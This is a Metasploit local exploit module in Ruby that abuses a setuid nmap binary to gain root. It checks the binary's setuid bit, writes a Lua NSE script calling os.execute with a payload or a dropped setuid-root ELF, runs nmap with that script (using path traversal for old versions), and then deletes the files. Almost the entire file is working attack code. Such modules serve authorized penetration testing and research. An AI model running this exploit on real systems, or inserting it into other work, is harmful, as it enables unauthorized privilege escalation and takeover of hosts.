##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Setuid Nmap Exploit',
        'Description' => %q{
          Nmap's man page mentions that "Nmap should never be installed with
          special privileges (e.g. suid root) for security reasons.." and
          specifically avoids making any of its binaries setuid during
          installation.  Nevertheless, administrators sometimes feel the need
          to do insecure things.  This module abuses a setuid nmap binary by
          writing out a lua nse script containing a call to os.execute().

          Note that modern interpreters will refuse to run scripts on the
          command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
          payloads will most likely not work.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'egypt' ],
        'DisclosureDate' => '2012-07-19',
        'Platform' => %w[bsd linux unix],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [
          [ 'Command payload', { 'Arch' => ARCH_CMD } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
          [ 'BSD x86', { 'Arch' => ARCH_X86 } ],
        ],
        'DefaultOptions' => { 'PrependSetresuid' => true, 'WfsDelay' => 2 },
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
        'DefaultTarget' => 0
      )
    )
    register_options([
      # These are not OptPath becuase it's a *remote* path
      OptString.new('Nmap', [ true, 'Path to setuid nmap executable', '/usr/bin/nmap' ]),
      OptString.new('ExtraArgs', [ false, 'Extra arguments to pass to Nmap (e.g. --datadir)', '' ]),
    ])
    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def nmap
    datastore['Nmap']
  end

  def check
    return CheckCode::Safe("#{nmap} file not found") unless file? nmap
    return CheckCode::Safe("#{nmap} is not setuid") unless setuid? nmap

    CheckCode::Vulnerable("#{nmap} is setuid")
  end

  def exploit
    if (target.arch.include? ARCH_CMD)
      p = payload.encoded.gsub(/([$"])/) { |_m| "\\#{Regexp.last_match(1)}" }
      evil_lua = %{ os.execute("#{p} &") }
    else
      exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}.elf"
      print_status("Dropping executable #{exe_file}")
      write_file(exe_file, generate_payload_exe)
      evil_lua = %{
        os.execute("chown root:root #{exe_file}");
        os.execute("chmod 6700 #{exe_file}");
        os.execute("#{exe_file} &");
        os.execute("rm -f #{exe_file}");
      }
    end
    lua_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}.nse"
    print_status("Dropping lua #{lua_file}")
    write_file(lua_file, evil_lua)

    print_status("Running #{lua_file} with Nmap")

    scriptname = lua_file
    if (lua_file[0, 1] == '/')
      # Versions before 4.51BETA (December 2007) only accept relative paths for script names
      # Figure 10 up-directory traversals is enough.
      scriptname = ('../' * 10) + lua_file[1..]
    end

    begin
      # Versions before 4.75 (August 2008) will not run scripts without a port scan
      result = cmd_exec "#{nmap} --script #{scriptname} -p80 localhost #{datastore['ExtraArgs']}"
      vprint_status(result)
    ensure
      rm_f(lua_file, exe_file)
    end
  end
end
